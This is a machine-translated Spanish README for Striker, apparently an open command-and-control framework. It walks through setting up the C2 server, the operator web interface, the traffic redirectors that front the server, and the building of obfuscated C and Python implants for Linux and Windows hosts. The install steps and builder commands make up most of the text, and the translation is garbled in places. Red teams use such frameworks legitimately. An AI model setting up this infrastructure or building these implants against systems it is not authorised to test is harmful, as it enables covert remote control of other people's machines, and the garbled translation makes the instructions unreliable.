
adelante es un sencillo comando y control (C2) plano.

Este proyecto está en desarrollo activo. La mayoría de las funciones son experimentales y habrá más en el futuro. Espere cambios de última hora.
característica
A) Agente
- Agente nativo para hosts Linux y Windows.
- Agente de Python independiente y mínimo, en caso de que lo necesite.
- canal HTTP.
- Ejecución de tareas asincrónicas.
- Se admiten varios redirectores, con respaldo a otros redirectores si falla el redirector activo.
B) Back-end/Servidor de equipo
- Se admiten múltiples operadores.
- La mayor parte de la funcionalidad se expone a través de la API REST, por lo que se puede automatizar fácilmente.
- Comunicación más rápida usando sockets web.
C) Interfaz de usuario
- Interfaz de usuario fluida y receptiva gracias a Esbelto y socket-io.
- Es fácil de configurar porque se compila en archivos HTML, JavaScript y CSS estáticos, y puede alojarlos incluso con el servidor web más básico que pueda encontrar.
- Función de chat de equipo para comunicarse con otros operadores a través de mensajes de texto.
instalar delantero
Clonar el repositorio;
$ git clone $ cd Striker
El código base se divide en 4 partes separadas;
1. servidor/back-end C2
Esto maneja toda la lógica del lado del servidor para operadores y agentes.Es un NodeJS
la solicitud realizada;
express
– Para API REST.socket.io
– Para comunicación Web Socket.mongoose
– para conectarse a MongoDB.multer
– Se utiliza para gestionar la carga de archivos.bcrypt
– Se utiliza para cifrar las contraseñas de los usuarios.
El código fuente se encuentra en backend/
Tabla de contenido. configurar el servidor;
- Configure la base de datos MongoDB;
Striker usa MongoDB como la base de datos de back-end para almacenar todos los datos importantes.Puede instalarlo localmente en su computadora con el comando esta guía Para distribuciones basadas en Debian, o cree una distribución gratuita con Mongo DB Atlas (base de datos como plataforma de servicio).
- Introduzca el directorio de origen;
$ cd backend
- instalar dependencias;
$ npm install
- Crear un directorio de archivos estáticos;
$ mkdir static
Puede usar esta carpeta para alojar archivos estáticos en su servidor.Esta también debe ser tu UPLOAD_LOCATION
se establece en .env
file (más sobre eso más adelante), pero no es obligatorio.Los archivos en este directorio serán públicamente accesibles bajo esta ruta /static/
.
- Crear
.env
documento;
Nota: Valores entre <
y >
es un marcador de posición.Reemplácelos con valores apropiados (incluyendo <>
). Para los campos que requieren cadenas aleatorias, puede generarlos fácilmente con:
$ head -c 100 /dev/urandom | sha256sum
DB_URL=
HOST=
PORT=
SECRET=
ORIGIN_URL=
REGISTRATION_KEY=
MAX_UPLOAD_SIZE=
UPLOAD_LOCATION=
SSL_KEY=
SSL_CERT=
Aviso SSL_KEY
y SSL_CERT
es opcional. Si no se define nada, se creará un servidor HTTP normal. Esto ayuda a evitar una sobrecarga innecesaria cuando se ejecuta el servidor detrás de un proxy inverso habilitado para SSL en el mismo host.
- iniciar el servidor;
$ node index.js [12:45:30 PM] Connecting to backend database... [12:45:31 PM] Starting HTTP server... [12:45:31 PM] Server started on port: 3000
2. Parte delantera
Esta es la interfaz de usuario web utilizada por el operador.Esta es una aplicación web de una sola página escrita en Esbeltoel código fuente está en frontend/
Tabla de contenido.
establecer la parte delantera;
- Introduzca el directorio de origen;
$ cd frontend
- instalar dependencias;
$ npm install
- Crear
.env
archivo con variablesVITE_STRIKER_API
Establezca la URL completa del servidor C2 configurado anteriormente;
VITE_STRIKER_API=
- Hospedarse;
$ npm run build
Lo anterior compilará todo en una aplicación web estática dist/
Tabla de contenido. Puede mover todos los archivos a la raíz web de su servidor web, o incluso alojarlos con un servidor HTTP básico como Python;
$ cd dist
$ python3 -m http.server 8000
- Inscribirse;
- Abra el sitio en un navegador web. Debería ver una página de inicio de sesión.
- hacer clic
Register
botón. - Ingrese el nombre de usuario, contraseña y clave de registro a utilizar (ver
REGISTRATION_KEY
existirbackend/.env
)
Esto creará una cuenta de usuario estándar. Necesitará una cuenta de administrador para acceder a algunas funciones.Su primera cuenta de administrador debe crearse manualmente, después de lo cual puede actualizar y degradar otras cuentas Users
Pestañas para la interfaz de usuario web.
Cree su primera cuenta de administrador;
- Conéctese a la base de datos MongoDB utilizada por el backend.
- renovar
users
ensamblar y configuraradmin
campo de usuario de destinotrue
;
Puedes hacer esto de diferentes maneras.si usted tiene mongo
Disponible en la CLI, puede usar el siguiente comando para lograr esto:
$ mongo> db.users.updateOne({username: " "}, {$set: {admin: true}})
Si es válido, debería obtener la siguiente respuesta;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
Puedes iniciar sesión ahora 🙂
3. Redirector C2
A) Redirección de tubería tonta
Un redirector de tubo tonto escrito para adelante admisible redirector/redirector.py
.Obviamente, esto solo funciona para el tráfico HTTP simple o para HTTPS cuando la verificación SSL está deshabilitada (puede habilitar INSECURE_SSL
macros en el proxy C).
El siguiente ejemplo escucha en el puerto 443
en todas las interfaces y reenvía a c2.example.org
en puerto 443
;
$ cd redirector $ ./redirector.py 0.0.0.0:443 c2.example.org:443 [*] Starting redirector on 0.0.0.0:443... [+] Listening for connections...
B) Proxy inverso de Nginx como redirector
- Instalar Nginx;
$ sudo apt install nginx
- Cree una configuración de host virtual (por ejemplo:
/etc/nginx/sites-available/striker
);
marcador de posición;
– Este es el FQDN de su servidor y debe coincidir con el FQDN de su certificado SSL.
– El archivo de certificado SSL a utilizar.
– El archivo de clave SSL a utilizar.
– La URL completa del servidor C2 al que reenviar la solicitud.
advertir: client_max_body_size
Debe ser tan grande como el tamaño definido MAX_UPLOAD_SIZE
En tu backend/.env
archivo, de lo contrario, las cargas de archivos grandes fallarán.
server { listen 443 ssl; server_name; ssl_certificate ; ssl_certificate_key ; client_max_body_size 100M; access_log /var/log/nginx/striker.log; location / { proxy_pass ; proxy_redirect off; proxy_ssl_verify off; proxy_read_timeout 90; proxy_http_version 1.0; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }
- permitirle;
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
- Reinicie Nginx;
$ sudo service nginx restart
Su redirector ahora debería estar funcionando en el puerto 443
y se puede probar con (suponiendo que su FQDN es striker.local
);
$ curl
Si funciona, debe obtener una respuesta 404 que utiliza el backend, por ejemplo;
{"error":"Invalid route!"}
4. Agentes (Implantes)
A) agente C
Estos son los implantes utilizados por el Striker.El agente principal está escrito en C y se encuentra en agent/C/
. Es compatible con hosts Linux y Windows. Dependencias externas del proxy de Linux libcurl
lo encontrará instalado en la mayoría de los sistemas.
El agente de Windows no tiene dependencias externas.usa wininet
Para la comunicación, creo que está disponible en todos los hosts de Windows.
- Construir para Linux
Suponiendo que está utilizando un host de 64 bits, lo siguiente se compilará para un host de 64 bits;
$ cd agent/C $ mkdir bin $ make
construir 32 bits en 64 bits;
$ sudo apt install gcc-multilib $ make arch=32
Lo anterior compila todo en bin/
Tabla de contenido. Solo necesita dos archivos para generar un implante funcional:
bin/stub
– Este es el código auxiliar que se usará como plantilla para generar un implante funcional.bin/builder
– Esto es lo que usará para parchear el resguardo del proxy para generar un implante que funcione.
El constructor acepta los siguientes parámetros;
$ ./bin/builder [-] Usage: ./bin/builder
Dónde;
– El servidor al que informar. Idealmente, esto sería un redirector, pero también funcionaría una URL que apunte directamente al servidor.
– La clave de autenticación utilizada al conectarse al C2.Puedes encontrar clave de autorización Pestañas para la interfaz de usuario web.
– Retraso en segundos entre cada devolución de llamada. El valor debe ser al menos 2, dependiendo de la cantidad de ruido que desee.
– el archivo de resguardo para leer,bin/stub
en este caso.
– El nombre de archivo de salida para el nuevo implante.
ejemplo;
$ ./bin/builder 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker [*] Obfuscating strings... [+] 69 strings obfuscated :) [*] Finding offsets of our markers... [+] Offsets: URL: 0x0000a2e0 OBFS Key: 0x0000a280 Auth Key: 0x0000a2a0 Delay: 0x0000a260 [*] Patching... [+] Operation completed!
- edificio de ventanas
necesitará Ming GW para esto. Lo siguiente instalará entornos de Windows de desarrollo de 32 y 64 bits;
$ sudo apt install mingw-w64
construir para 64 bits;
$ cd agent/C $ mdkir bin $ make target=win
compilar 32 bits;
$ make target=win arch=32
Esto compila todo en bin/
directorio donde tendrás tus constructores y stubs bin\stub.exe
y bin\builder.exe
respectivamente.
B) Agente Python
Striker también se envía con un agente de Python independiente (probado en Python 2.7.16 y 3.7.3).Este se encuentra en agent/python/
. El agente solo implementa las funciones más básicas. Útil para hosts que no pueden ejecutar el agente C pero tienen Python instalado.
Hay 2 archivos en este directorio;
stub.py
– Este es el resguardo de la carga útil que se le pasará al constructor.builder.py
- Esto es lo que usarás para generar el implante.
Ejemplo de uso:
$ ./builder.py [-] Usage: builder.py# The following will generate a working payload as `output.py` $ ./builder.py 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py [*] Loading agent stub... [*] Writing configs... [+] Agent built successfully: output.py # Run it $ python3 output.py
empezando
Después de seguir las instrucciones anteriores, adelante Ahora debería funcionar.por favor pase guía del usuario. ¡Diviértete y feliz hackeando!
por favor considera atención y apoyo Siempre estamos actualizados